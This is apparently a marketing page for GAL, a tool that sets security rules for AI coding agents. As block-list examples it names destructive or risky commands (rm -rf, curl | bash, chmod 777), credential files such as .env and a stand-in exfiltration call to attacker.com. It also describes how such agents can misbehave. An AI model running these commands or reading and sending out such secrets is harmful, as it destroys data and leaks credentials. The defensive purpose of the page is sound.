AI Security Software & Coding Security
Governance for Claude Code, Cursor, Copilot, and other AI coding agents. Define one canonical ruleset for dangerous commands, file access, and network operations. Active blocking enforcement at the execution layer is coming in v1.0.
AI coding agents create new security risks
AI agents operate autonomously at machine speed, making them a new attack surface. Without proper controls, they can cause significant damage in seconds. For comprehensive AI security guidance, see the OWASP AI Security and Privacy Guide.
Unauthorized Command Execution
AI agents can run destructive commands like rm -rf, curl | bash, or sudo operations without oversight.
rm -rf /srcSensitive File Access
Agents may read or expose .env files, API keys, credentials, and other secrets.
Read: .env.productionUnrestricted Network Access
Agents can make arbitrary API calls, potentially leaking data to external services.
POST attacker.com/exfilUntracked Configuration Changes
Agent configuration is edited locally, with no record of who changed what or when.
No change historyGAL adds a security layer between agents and your systems
GAL installs your security policies as one canonical ruleset across every agent and logs what they do. Real-time interception and enforcement — a firewall for AI coding agents — is in active development for v1.0.
AI Coding Security
AI coding security protects your development environment from the unique risks introduced by AI-powered coding assistants. As tools like Claude Code, Cursor, and GitHub Copilot become essential to developer workflows, they create new attack vectors that traditional security tools cannot address.
Command Control
AI coding security ensures agents cannot execute destructive shell commands or run unapproved scripts without oversight.
Secrets Protection
Coding security is built to stop AI agents from reading or exposing environment files, API keys, and credentials during code generation. Active blocking is coming in v1.0.
Audit Trails
Complete visibility into every action taken by AI coding tools, enabling security teams to review and investigate agent behavior.
Security features for AI coding agents
GAL provides multiple layers of security to protect your systems from AI agent risks.
Command Blocking
Define rules to flag dangerous shell commands like rm -rf, curl | bash, sudo, and chmod 777. Blocking these before they execute is coming in v1.0.
rm -rfcurl | bashsudochmod 777> /dev/File Access Restrictions
Define rules for which files agents can read, write, or modify — .env files, secrets directories, credentials, and sensitive configuration (active enforcement coming in v1.0).
.env.env.*secrets/*.pemcredentials.jsonNetwork Restrictions
Define which domains and endpoints agents can access to guard against data exfiltration and unauthorized API calls. Active blocking is coming in v1.0.
Block: *.internalAllow: api.github.comBlock: attacker.comRuntime Enforcement
Real-time policy enforcement at the execution layer is in active development for v1.0. Today gal installs git SDLC hooks and ships MCP servers; cross-agent hook install and per-tool blocking are in active development.
InterceptClassifyEnforceLogHow AI security enforcement works
GAL observes operations at the runtime level today; intercepting and blocking threats before they execute is in active development for v1.0.
Intercept
GAL wraps your AI agent's execution environment. Every command, file operation, and network request passes through GAL before executing.
Classify
GAL analyzes each operation against your security policies. Is it a blocked command? A restricted file? An unauthorized domain?
Enforce
GAL records agent activity today (best-effort). Based on classification, allowing or blocking operations before any damage occurs is coming in v1.0.
Security without sacrificing productivity
GAL is designed to enhance security while maintaining developer velocity. Fine-tuned policies let agents work efficiently within safe boundaries.
Allow by Default
The ruleset targets only explicitly dangerous operations. Normal coding workflows continue uninterrupted, and active blocking is coming in v1.0.
Customizable Policies
Define your own rules. Allow specific commands for your workflow while blocking general risks.
Audit & Review
Every agent action is logged today; once active blocking ships (v1.0), blocked operations are logged too. Review activity, tune false positives, and refine policies over time.
Frequently asked questions
What is AI security software?
AI security software protects systems from risks introduced by AI agents. It monitors, controls, and audits AI agent operations to prevent unauthorized commands and data exposure.
What is AI coding security?
AI coding security refers to the practices and tools used to secure AI-powered development tools like Claude Code, Cursor, and GitHub Copilot. This includes command blocking, file access restrictions, and audit logging.
What are AI security issues?
AI security issues include unauthorized command execution, sensitive data exposure, unrestricted network access, and lack of audit trails. AI agents can cause these issues at machine speed without proper controls.
Does GAL work with all AI coding agents?
GAL is designed to define one canonical ruleset for agents like Claude Code, Cursor, Windsurf, and Gemini. Today gal installs git SDLC hooks and ships MCP servers; cross-agent hook install, per-tool blocking, and the runtime interception layer are in active development for v1.0.
Will security enforcement slow down agents?
GAL is designed to keep overhead negligible for interactive development workflows. Active blocking enforcement is in development for v1.0, and we will publish measured latency once it ships.
Can I customize security policies?
Yes. GAL allows you to define custom command blocks, file restrictions, and network policies. Start with sensible defaults and refine based on your workflow needs.
Secure your AI coding agents today
Add runtime security to Claude Code, Cursor, and Copilot in under 5 minutes. Free tier available.